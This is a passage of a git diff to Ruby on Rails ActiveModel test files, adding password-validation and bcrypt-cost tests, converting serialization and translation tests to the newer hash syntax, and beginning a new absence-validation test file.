+ test "create a new user with validation and an incorrect password confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = 'something else'
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+ end
+
+ test "update an existing user with validation and no change in password" do
+ assert @existing_user.valid?(:update), 'user should be valid'
+ end
- assert !@user.valid?
- assert @visitor.valid?
+ test "update an existing user with validations and valid password/confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = 'password'
- @user.password_confirmation = "thiswillberight"
+ assert @existing_user.valid?(:update), 'user should be valid'
- assert @user.valid?
+ @existing_user.password = 'a' * 72
+ @existing_user.password_confirmation = 'a' * 72
+
+ assert @existing_user.valid?(:update), 'user should be valid'
end
- test "authenticate" do
- @user.password = "secret"
+ test "updating an existing user with validation and a blank password" do
+ @existing_user.password = ''
+ assert @existing_user.valid?(:update), 'user should be valid'
+ end
- assert !@user.authenticate("wrong")
- assert @user.authenticate("secret")
+ test "updating an existing user with validation and a spaces only password" do
+ @user.password = ' ' * 72
+ assert @user.valid?(:update), 'user should be valid'
end
- test "User should not be created with blank digest" do
- assert_raise RuntimeError do
- @user.run_callbacks :create
- end
- @user.password = "supersecretpassword"
- assert_nothing_raised do
- @user.run_callbacks :create
- end
+ test "updating an existing user with validation and a blank password and password_confirmation" do
+ @existing_user.password = ''
+ @existing_user.password_confirmation = ''
+ assert @existing_user.valid?(:update), 'user should be valid'
end
- test "Oauthed user can be created with blank digest" do
- assert_nothing_raised do
- @oauthed_user.run_callbacks :create
- end
+ test "updating an existing user with validation and a nil password" do
+ @existing_user.password = nil
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["can't be blank"], @existing_user.errors[:password]
+ end
+
+ test 'updating an existing user with validation and password length greater than 72' do
+ @existing_user.password = 'a' * 73
+ @existing_user.password_confirmation = 'a' * 73
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["is too long (maximum is 72 characters)"], @existing_user.errors[:password]
+ end
+
+ test "updating an existing user with validation and a blank password confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = ''
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+ end
+
+ test "updating an existing user with validation and a nil password confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = nil
+ assert @existing_user.valid?(:update), 'user should be valid'
+ end
+
+ test "updating an existing user with validation and an incorrect password confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = 'something else'
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+ end
+
+ test "updating an existing user with validation and a blank password digest" do
+ @existing_user.password_digest = ''
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["can't be blank"], @existing_user.errors[:password]
+ end
+
+ test "updating an existing user with validation and a nil password digest" do
+ @existing_user.password_digest = nil
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["can't be blank"], @existing_user.errors[:password]
+ end
+
+ test "setting a blank password should not change an existing password" do
+ @existing_user.password = ''
+ assert @existing_user.password_digest == 'password'
+ end
+
+ test "setting a nil password should clear an existing password" do
+ @existing_user.password = nil
+ assert_equal nil, @existing_user.password_digest
+ end
+
+ test "authenticate" do
+ @user.password = "secret"
+
+ assert !@user.authenticate("wrong")
+ assert @user.authenticate("secret")
end
test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
@@ -82,6 +196,19 @@ class SecurePasswordTest < ActiveModel::TestCase
assert_equal BCrypt::Engine::DEFAULT_COST, @user.password_digest.cost
end
+ test "Password digest cost honors bcrypt cost attribute when min_cost is false" do
+ begin
+ original_bcrypt_cost = BCrypt::Engine.cost
+ ActiveModel::SecurePassword.min_cost = false
+ BCrypt::Engine.cost = 5
+
+ @user.password = "secret"
+ assert_equal BCrypt::Engine.cost, @user.password_digest.cost
+ ensure
+ BCrypt::Engine.cost = original_bcrypt_cost
+ end
+ end
+
test "Password digest cost can be set to bcrypt min cost to speed up tests" do
ActiveModel::SecurePassword.min_cost = true
diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb
index d2ba9fd95d..4ae41aa19c 100644
--- a/activemodel/test/cases/serialization_test.rb
+++ b/activemodel/test/cases/serialization_test.rb
@@ -49,32 +49,32 @@ class SerializationTest < ActiveModel::TestCase
def test_method_serializable_hash_should_work_with_only_option
expected = {"name"=>"David"}
- assert_equal expected, @user.serializable_hash(:only => [:name])
+ assert_equal expected, @user.serializable_hash(only: [:name])
end
def test_method_serializable_hash_should_work_with_except_option
expected = {"gender"=>"male", "email"=>"david@example.com"}
- assert_equal expected, @user.serializable_hash(:except => [:name])
+ assert_equal expected, @user.serializable_hash(except: [:name])
end
def test_method_serializable_hash_should_work_with_methods_option
expected = {"name"=>"David", "gender"=>"male", "foo"=>"i_am_foo", "email"=>"david@example.com"}
- assert_equal expected, @user.serializable_hash(:methods => [:foo])
+ assert_equal expected, @user.serializable_hash(methods: [:foo])
end
def test_method_serializable_hash_should_work_with_only_and_methods
expected = {"foo"=>"i_am_foo"}
- assert_equal expected, @user.serializable_hash(:only => [], :methods => [:foo])
+ assert_equal expected, @user.serializable_hash(only: [], methods: [:foo])
end
def test_method_serializable_hash_should_work_with_except_and_methods
expected = {"gender"=>"male", "foo"=>"i_am_foo"}
- assert_equal expected, @user.serializable_hash(:except => [:name, :email], :methods => [:foo])
+ assert_equal expected, @user.serializable_hash(except: [:name, :email], methods: [:foo])
end
def test_should_not_call_methods_that_dont_respond
expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com"}
- assert_equal expected, @user.serializable_hash(:methods => [:bar])
+ assert_equal expected, @user.serializable_hash(methods: [:bar])
end
def test_should_use_read_attribute_for_serialization
@@ -83,26 +83,26 @@ class SerializationTest < ActiveModel::TestCase
end
expected = { "name" => "Jon" }
- assert_equal expected, @user.serializable_hash(:only => :name)
+ assert_equal expected, @user.serializable_hash(only: :name)
end
def test_include_option_with_singular_association
expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com",
"address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}}
- assert_equal expected, @user.serializable_hash(:include => :address)
+ assert_equal expected, @user.serializable_hash(include: :address)
end
def test_include_option_with_plural_association
expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
"friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
{"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
- assert_equal expected, @user.serializable_hash(:include => :friends)
+ assert_equal expected, @user.serializable_hash(include: :friends)
end
def test_include_option_with_empty_association
@user.friends = []
expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", "friends"=>[]}
- assert_equal expected, @user.serializable_hash(:include => :friends)
+ assert_equal expected, @user.serializable_hash(include: :friends)
end
class FriendList
@@ -120,7 +120,7 @@ class SerializationTest < ActiveModel::TestCase
expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
"friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
{"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
- assert_equal expected, @user.serializable_hash(:include => :friends)
+ assert_equal expected, @user.serializable_hash(include: :friends)
end
def test_multiple_includes
@@ -128,13 +128,13 @@ class SerializationTest < ActiveModel::TestCase
"address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111},
"friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
{"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
- assert_equal expected, @user.serializable_hash(:include => [:address, :friends])
+ assert_equal expected, @user.serializable_hash(include: [:address, :friends])
end
def test_include_with_options
expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
"address"=>{"street"=>"123 Lane"}}
- assert_equal expected, @user.serializable_hash(:include => {:address => {:only => "street"}})
+ assert_equal expected, @user.serializable_hash(include: { address: { only: "street" } })
end
def test_nested_include
@@ -143,19 +143,19 @@ class SerializationTest < ActiveModel::TestCase
"friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male',
"friends"=> [{"email"=>"david@example.com", "gender"=>"male", "name"=>"David"}]},
{"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female', "friends"=> []}]}
- assert_equal expected, @user.serializable_hash(:include => {:friends => {:include => :friends}})
+ assert_equal expected, @user.serializable_hash(include: { friends: { include: :friends } })
end
def test_only_include
expected = {"name"=>"David", "friends" => [{"name" => "Joe"}, {"name" => "Sue"}]}
- assert_equal expected, @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}})
+ assert_equal expected, @user.serializable_hash(only: :name, include: { friends: { only: :name } })
end
def test_except_include
expected = {"name"=>"David", "email"=>"david@example.com",
"friends"=> [{"name" => 'Joe', "email" => 'joe@example.com'},
{"name" => "Sue", "email" => 'sue@example.com'}]}
- assert_equal expected, @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}})
+ assert_equal expected, @user.serializable_hash(except: :gender, include: { friends: { except: :gender } })
end
def test_multiple_includes_with_options
@@ -163,6 +163,6 @@ class SerializationTest < ActiveModel::TestCase
"address"=>{"street"=>"123 Lane"},
"friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
{"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
- assert_equal expected, @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends])
+ assert_equal expected, @user.serializable_hash(include: [{ address: {only: "street" } }, :friends])
end
end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
index 9134c4980c..e2eb91eeb0 100644
--- a/activemodel/test/cases/serializers/json_serialization_test.rb
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -1,25 +1,7 @@
require 'cases/helper'
require 'models/contact'
-require 'models/automobile'
require 'active_support/core_ext/object/instance_variables'
-class Contact
- include ActiveModel::Serializers::JSON
- include ActiveModel::Validations
-
- def attributes=(hash)
- hash.each do |k, v|
- instance_variable_set("@#{k}", v)
- end
- end
-
- remove_method :attributes if method_defined?(:attributes)
-
- def attributes
- instance_values
- end
-end
-
class JsonSerializationTest < ActiveModel::TestCase
def setup
@contact = Contact.new
@@ -30,11 +12,6 @@ class JsonSerializationTest < ActiveModel::TestCase
@contact.preferences = { 'shows' => 'anime' }
end
- def teardown
- # set to the default value
- Contact.include_root_in_json = false
- end
-
test "should not include root in json (class method)" do
json = @contact.to_json
@@ -47,19 +24,25 @@ class JsonSerializationTest < ActiveModel::TestCase
end
test "should include root in json if include_root_in_json is true" do
- Contact.include_root_in_json = true
- json = @contact.to_json
-
- assert_match %r{^\{"contact":\{}, json
- assert_match %r{"name":"Konata Izumi"}, json
- assert_match %r{"age":16}, json
- assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
- assert_match %r{"awesome":true}, json
- assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ begin
+ original_include_root_in_json = Contact.include_root_in_json
+ Contact.include_root_in_json = true
+ json = @contact.to_json
+
+ assert_match %r{^\{"contact":\{}, json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ ensure
+ Contact.include_root_in_json = original_include_root_in_json
+ end
end
test "should include root in json (option) even if the default is set to false" do
json = @contact.to_json(root: true)
+
assert_match %r{^\{"contact":\{}, json
end
@@ -91,7 +74,7 @@ class JsonSerializationTest < ActiveModel::TestCase
end
test "should allow attribute filtering with only" do
- json = @contact.to_json(:only => [:name, :age])
+ json = @contact.to_json(only: [:name, :age])
assert_match %r{"name":"Konata Izumi"}, json
assert_match %r{"age":16}, json
@@ -145,22 +128,21 @@ class JsonSerializationTest < ActiveModel::TestCase
end
test "as_json should return a hash if include_root_in_json is true" do
- Contact.include_root_in_json = true
- json = @contact.as_json
-
- assert_kind_of Hash, json
- assert_kind_of Hash, json['contact']
- %w(name age created_at awesome preferences).each do |field|
- assert_equal @contact.send(field), json['contact'][field]
+ begin
+ original_include_root_in_json = Contact.include_root_in_json
+ Contact.include_root_in_json = true
+ json = @contact.as_json
+
+ assert_kind_of Hash, json
+ assert_kind_of Hash, json['contact']
+ %w(name age created_at awesome preferences).each do |field|
+ assert_equal @contact.send(field), json['contact'][field]
+ end
+ ensure
+ Contact.include_root_in_json = original_include_root_in_json
end
end
- test "as_json should keep the default order in the hash" do
- json = @contact.as_json
-
- assert_equal %w(name age created_at awesome preferences), json.keys
- end
-
test "from_json should work without a root (class attribute)" do
json = @contact.to_json
result = Contact.new.from_json(json)
@@ -204,7 +186,7 @@ class JsonSerializationTest < ActiveModel::TestCase
assert_no_match %r{"preferences":}, json
end
- test "custom as_json options should be extendible" do
+ test "custom as_json options should be extensible" do
def @contact.as_json(options = {}); super(options.merge(only: [:name])); end
json = @contact.to_json
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index 99a9c1fe33..22fca5bd17 100755..100644
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -3,18 +3,6 @@ require 'models/contact'
require 'active_support/core_ext/object/instance_variables'
require 'ostruct'
-class Contact
- include ActiveModel::Serializers::Xml
-
- attr_accessor :address, :friends, :contact
-
- remove_method :attributes if method_defined?(:attributes)
-
- def attributes
- instance_values.except("address", "friends", "contact")
- end
-end
-
module Admin
class Contact < ::Contact
end
@@ -35,7 +23,7 @@ end
class SerializableContact < Contact
def serializable_hash(options={})
- super(options.merge(:only => [:name, :age]))
+ super(options.merge(only: [:name, :age]))
end
end
@@ -50,60 +38,55 @@ class XmlSerializationTest < ActiveModel::TestCase
customer.name = "John"
@contact.preferences = customer
@contact.address = Address.new
- @contact.address.street = "123 Lane"
@contact.address.city = "Springfield"
- @contact.address.state = "CA"
- @contact.address.zip = 11111
@contact.address.apt_number = 35
@contact.friends = [Contact.new, Contact.new]
- @related_contact = SerializableContact.new
- @related_contact.name = "related"
- @contact.contact = @related_contact
+ @contact.contact = SerializableContact.new
end
test "should serialize default root" do
- @xml = @contact.to_xml
- assert_match %r{^<contact>}, @xml
- assert_match %r{</contact>$}, @xml
+ xml = @contact.to_xml
+ assert_match %r{^<contact>}, xml
+ assert_match %r{</contact>$}, xml
end
test "should serialize namespaced root" do
- @xml = Admin::Contact.new(@contact.attributes).to_xml
- assert_match %r{^<contact>}, @xml
- assert_match %r{</contact>$}, @xml
+ xml = Admin::Contact.new(@contact.attributes).to_xml
+ assert_match %r{^<contact>}, xml
+ assert_match %r{</contact>$}, xml
end
test "should serialize default root with namespace" do
- @xml = @contact.to_xml :namespace => "http://xml.rubyonrails.org/contact"
- assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, @xml
- assert_match %r{</contact>$}, @xml
+ xml = @contact.to_xml namespace: "http://xml.rubyonrails.org/contact"
+ assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, xml
+ assert_match %r{</contact>$}, xml
end
test "should serialize custom root" do
- @xml = @contact.to_xml :root => 'xml_contact'
- assert_match %r{^<xml-contact>}, @xml
- assert_match %r{</xml-contact>$}, @xml
+ xml = @contact.to_xml root: 'xml_contact'
+ assert_match %r{^<xml-contact>}, xml
+ assert_match %r{</xml-contact>$}, xml
end
test "should allow undasherized tags" do
- @xml = @contact.to_xml :root => 'xml_contact', :dasherize => false
- assert_match %r{^<xml_contact>}, @xml
- assert_match %r{</xml_contact>$}, @xml
- assert_match %r{<created_at}, @xml
+ xml = @contact.to_xml root: 'xml_contact', dasherize: false
+ assert_match %r{^<xml_contact>}, xml
+ assert_match %r{</xml_contact>$}, xml
+ assert_match %r{<created_at}, xml
end
test "should allow camelized tags" do
- @xml = @contact.to_xml :root => 'xml_contact', :camelize => true
- assert_match %r{^<XmlContact>}, @xml
- assert_match %r{</XmlContact>$}, @xml
- assert_match %r{<CreatedAt}, @xml
+ xml = @contact.to_xml root: 'xml_contact', camelize: true
+ assert_match %r{^<XmlContact>}, xml
+ assert_match %r{</XmlContact>$}, xml
+ assert_match %r{<CreatedAt}, xml
end
test "should allow lower-camelized tags" do
- @xml = @contact.to_xml :root => 'xml_contact', :camelize => :lower
- assert_match %r{^<xmlContact>}, @xml
- assert_match %r{</xmlContact>$}, @xml
- assert_match %r{<createdAt}, @xml
+ xml = @contact.to_xml root: 'xml_contact', camelize: :lower
+ assert_match %r{^<xmlContact>}, xml
+ assert_match %r{</xmlContact>$}, xml
+ assert_match %r{<createdAt}, xml
end
test "should use serializable hash" do
@@ -111,22 +94,22 @@ class XmlSerializationTest < ActiveModel::TestCase
@contact.name = 'aaron stack'
@contact.age = 25
- @xml = @contact.to_xml
- assert_match %r{<name>aaron stack</name>}, @xml
- assert_match %r{<age type="integer">25</age>}, @xml
- assert_no_match %r{<awesome>}, @xml
+ xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, xml
+ assert_match %r{<age type="integer">25</age>}, xml
+ assert_no_match %r{<awesome>}, xml
end
test "should allow skipped types" do
- @xml = @contact.to_xml :skip_types => true
- assert_match %r{<age>25</age>}, @xml
+ xml = @contact.to_xml skip_types: true
+ assert_match %r{<age>25</age>}, xml
end
test "should include yielded additions" do
- @xml = @contact.to_xml do |xml|
+ xml_output = @contact.to_xml do |xml|
xml.creator "David"
end
- assert_match %r{<creator>David</creator>}, @xml
+ assert_match %r{<creator>David</creator>}, xml_output
end
test "should serialize string" do
@@ -134,7 +117,7 @@ class XmlSerializationTest < ActiveModel::TestCase
end
test "should serialize nil" do
- assert_match %r{<pseudonyms nil=\"true\"/>}, @contact.to_xml(:methods => :pseudonyms)
+ assert_match %r{<pseudonyms nil="true"/>}, @contact.to_xml(methods: :pseudonyms)
end
test "should serialize integer" do
@@ -142,50 +125,50 @@ class XmlSerializationTest < ActiveModel::TestCase
end
test "should serialize datetime" do
- assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
+ assert_match %r{<created-at type="dateTime">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
end
test "should serialize boolean" do
- assert_match %r{<awesome type=\"boolean\">false</awesome>}, @contact.to_xml
+ assert_match %r{<awesome type="boolean">false</awesome>}, @contact.to_xml
end
test "should serialize array" do
- assert_match %r{<social type=\"array\">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(:methods => :social)
+ assert_match %r{<social type="array">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(methods: :social)
end
test "should serialize hash" do
- assert_match %r{<network>\s*<git type=\"symbol\">github</git>\s*</network>}, @contact.to_xml(:methods => :network)
+ assert_match %r{<network>\s*<git type="symbol">github</git>\s*</network>}, @contact.to_xml(methods: :network)
end
test "should serialize yaml" do
- assert_match %r{<preferences type=\"yaml\">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml
+ assert_match %r{<preferences type="yaml">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml
end
test "should call proc on object" do
proc = Proc.new { |options| options[:builder].tag!('nationality', 'unknown') }
- xml = @contact.to_xml(:procs => [ proc ])
+ xml = @contact.to_xml(procs: [ proc ])
assert_match %r{<nationality>unknown</nationality>}, xml
end
- test 'should supply serializable to second proc argument' do
+ test "should supply serializable to second proc argument" do
proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) }
- xml = @contact.to_xml(:procs => [ proc ])
+ xml = @contact.to_xml(procs: [ proc ])
assert_match %r{<name-reverse>kcats noraa</name-reverse>}, xml
end
test "should serialize string correctly when type passed" do
- xml = @contact.to_xml :type => 'Contact'
+ xml = @contact.to_xml type: 'Contact'
assert_match %r{<contact type="Contact">}, xml
assert_match %r{<name>aaron stack</name>}, xml
end
test "include option with singular association" do
- xml = @contact.to_xml :include => :address, :indent => 0
- assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true))
+ xml = @contact.to_xml include: :address, indent: 0
+ assert xml.include?(@contact.address.to_xml(indent: 0, skip_instruct: true))
end
test "include option with plural association" do
- xml = @contact.to_xml :include => :friends, :indent => 0
+ xml = @contact.to_xml include: :friends, indent: 0
assert_match %r{<friends type="array">}, xml
assert_match %r{<friend type="Contact">}, xml
end
@@ -202,60 +185,60 @@ class XmlSerializationTest < ActiveModel::TestCase
test "include option with ary" do
@contact.friends = FriendList.new(@contact.friends)
- xml = @contact.to_xml :include => :friends, :indent => 0
+ xml = @contact.to_xml include: :friends, indent: 0
assert_match %r{<friends type="array">}, xml
assert_match %r{<friend type="Contact">}, xml
end
test "multiple includes" do
- xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => [ :address, :friends ]
- assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true))
+ xml = @contact.to_xml indent: 0, skip_instruct: true, include: [ :address, :friends ]
+ assert xml.include?(@contact.address.to_xml(indent: 0, skip_instruct: true))
assert_match %r{<friends type="array">}, xml
assert_match %r{<friend type="Contact">}, xml
end
test "include with options" do
- xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => { :address => { :only => :city } }
+ xml = @contact.to_xml indent: 0, skip_instruct: true, include: { address: { only: :city } }
assert xml.include?(%(><address><city>Springfield</city></address>))
end
test "propagates skip_types option to included associations" do
- xml = @contact.to_xml :include => :friends, :indent => 0, :skip_types => true
+ xml = @contact.to_xml include: :friends, indent: 0, skip_types: true
assert_match %r{<friends>}, xml
assert_match %r{<friend>}, xml
end
test "propagates skip-types option to included associations and attributes" do
- xml = @contact.to_xml :skip_types => true, :include => :address, :indent => 0
+ xml = @contact.to_xml skip_types: true, include: :address, indent: 0
assert_match %r{<address>}, xml
assert_match %r{<apt-number>}, xml
end
test "propagates camelize option to included associations and attributes" do
- xml = @contact.to_xml :camelize => true, :include => :address, :indent => 0
+ xml = @contact.to_xml camelize: true, include: :address, indent: 0
assert_match %r{<Address>}, xml
assert_match %r{<AptNumber type="integer">}, xml
end
test "propagates dasherize option to included associations and attributes" do
- xml = @contact.to_xml :dasherize => false, :include => :address, :indent => 0
+ xml = @contact.to_xml dasherize: false, include: :address, indent: 0
assert_match %r{<apt_number type="integer">}, xml
end
test "don't propagate skip_types if skip_types is defined at the included association level" do
- xml = @contact.to_xml :skip_types => true, :include => { :address => { :skip_types => false } }, :indent => 0
+ xml = @contact.to_xml skip_types: true, include: { address: { skip_types: false } }, indent: 0
assert_match %r{<address>}, xml
assert_match %r{<apt-number type="integer">}, xml
end
test "don't propagate camelize if camelize is defined at the included association level" do
- xml = @contact.to_xml :camelize => true, :include => { :address => { :camelize => false } }, :indent => 0
+ xml = @contact.to_xml camelize: true, include: { address: { camelize: false } }, indent: 0
assert_match %r{<address>}, xml
assert_match %r{<apt-number type="integer">}, xml
end
test "don't propagate dasherize if dasherize is defined at the included association level" do
- xml = @contact.to_xml :dasherize => false, :include => { :address => { :dasherize => true } }, :indent => 0
+ xml = @contact.to_xml dasherize: false, include: { address: { dasherize: true } }, indent: 0
assert_match %r{<address>}, xml
assert_match %r{<apt-number type="integer">}, xml
end
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
index fd833cdd06..cedc812ec7 100644
--- a/activemodel/test/cases/translation_test.rb
+++ b/activemodel/test/cases/translation_test.rb
@@ -7,23 +7,27 @@ class ActiveModelI18nTests < ActiveModel::TestCase
I18n.backend = I18n::Backend::Simple.new
end
+ def teardown
+ I18n.backend.reload!
+ end
+
def test_translated_model_attributes
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+ I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute' } } }
assert_equal 'person name attribute', Person.human_attribute_name('name')
end
def test_translated_model_attributes_with_default
- I18n.backend.store_translations 'en', :attributes => { :name => 'name default attribute' }
+ I18n.backend.store_translations 'en', attributes: { name: 'name default attribute' }
assert_equal 'name default attribute', Person.human_attribute_name('name')
end
def test_translated_model_attributes_using_default_option
- assert_equal 'name default attribute', Person.human_attribute_name('name', :default => "name default attribute")
+ assert_equal 'name default attribute', Person.human_attribute_name('name', default: "name default attribute")
end
def test_translated_model_attributes_using_default_option_as_symbol
- I18n.backend.store_translations 'en', :default_name => 'name default attribute'
- assert_equal 'name default attribute', Person.human_attribute_name('name', :default => :default_name)
+ I18n.backend.store_translations 'en', default_name: 'name default attribute'
+ assert_equal 'name default attribute', Person.human_attribute_name('name', default: :default_name)
end
def test_translated_model_attributes_falling_back_to_default
@@ -31,71 +35,74 @@ class ActiveModelI18nTests < ActiveModel::TestCase
end
def test_translated_model_attributes_using_default_option_as_symbol_and_falling_back_to_default
- assert_equal 'Name', Person.human_attribute_name('name', :default => :default_name)
+ assert_equal 'Name', Person.human_attribute_name('name', default: :default_name)
end
def test_translated_model_attributes_with_symbols
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+ I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute'} } }
assert_equal 'person name attribute', Person.human_attribute_name(:name)
end
def test_translated_model_attributes_with_ancestor
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:child => {:name => 'child name attribute'} } }
+ I18n.backend.store_translations 'en', activemodel: { attributes: { child: { name: 'child name attribute'} } }
assert_equal 'child name attribute', Child.human_attribute_name('name')
end
def test_translated_model_attributes_with_ancestors_fallback
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:name => 'person name attribute'} } }
+ I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute'} } }
assert_equal 'person name attribute', Child.human_attribute_name('name')
end
def test_translated_model_attributes_with_attribute_matching_namespaced_model_name
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:person => {:gender => 'person gender'}, :"person/gender" => {:attribute => 'person gender attribute'}}}
+ I18n.backend.store_translations 'en', activemodel: { attributes: {
+ person: { gender: 'person gender'},
+ :"person/gender" => { attribute: 'person gender attribute' }
+ } }
assert_equal 'person gender', Person.human_attribute_name('gender')
assert_equal 'person gender attribute', Person::Gender.human_attribute_name('attribute')
end
def test_translated_deeply_nested_model_attributes
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/contacts/addresses" => {:street => 'Deeply Nested Address Street'}}}
+ I18n.backend.store_translations 'en', activemodel: { attributes: { :"person/contacts/addresses" => { street: 'Deeply Nested Address Street' } } }
assert_equal 'Deeply Nested Address Street', Person.human_attribute_name('contacts.addresses.street')
end
def test_translated_nested_model_attributes
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/addresses" => {:street => 'Person Address Street'}}}
+ I18n.backend.store_translations 'en', activemodel: { attributes: { :"person/addresses" => { street: 'Person Address Street' } } }
assert_equal 'Person Address Street', Person.human_attribute_name('addresses.street')
end
def test_translated_nested_model_attributes_with_namespace_fallback
- I18n.backend.store_translations 'en', :activemodel => {:attributes => {:addresses => {:street => 'Cool Address Street'}}}
+ I18n.backend.store_translations 'en', activemodel: { attributes: { addresses: { street: 'Cool Address Street' } } }
assert_equal 'Cool Address Street', Person.human_attribute_name('addresses.street')
end
def test_translated_model_names
- I18n.backend.store_translations 'en', :activemodel => {:models => {:person => 'person model'} }
+ I18n.backend.store_translations 'en', activemodel: { models: { person: 'person model' } }
assert_equal 'person model', Person.model_name.human
end
def test_translated_model_names_with_sti
- I18n.backend.store_translations 'en', :activemodel => {:models => {:child => 'child model'} }
+ I18n.backend.store_translations 'en', activemodel: { models: { child: 'child model' } }
assert_equal 'child model', Child.model_name.human
end
def test_translated_model_names_with_ancestors_fallback
- I18n.backend.store_translations 'en', :activemodel => {:models => {:person => 'person model'} }
+ I18n.backend.store_translations 'en', activemodel: { models: { person: 'person model' } }
assert_equal 'person model', Child.model_name.human
end
def test_human_does_not_modify_options
- options = { :default => 'person model' }
+ options = { default: 'person model' }
Person.model_name.human(options)
- assert_equal({ :default => 'person model' }, options)
+ assert_equal({ default: 'person model' }, options)
end
def test_human_attribute_name_does_not_modify_options
- options = { :default => 'Cool gender' }
+ options = { default: 'Cool gender' }
Person.human_attribute_name('gender', options)
- assert_equal({ :default => 'Cool gender' }, options)
+ assert_equal({ default: 'Cool gender' }, options)
end
end
diff --git a/activemodel/test/cases/validations/absence_validation_test.rb b/activemodel/test/cases/validations/absence_validation_test.rb
new file mode 100644
index 0000000000..ebfe1cf4e4
--- /dev/null
+++ b/activemodel/test/cases/validations/absence_validation_test.rb
@@ -0,0 +1,68 @@
+# encoding: utf-8
+require 'cases/helper'
+require 'models/topic'
+require 'models/person'
+require 'models/custom_reader'
+
+class AbsenceValidationTest < ActiveModel::TestCase
+ teardown do
+ Topic.clear_validators!
+ Person.clear_validators!
+ CustomReader.clear_validators!
+ end
+
+ def test_validates_absence_of
+ Topic.validates_absence_of(:title, :content)
+ t = Topic.new
+ t.title = "foo"
+ t.content = "bar"
+ assert t.invalid?
+ assert_equal ["must be blank"], t.errors[:title]
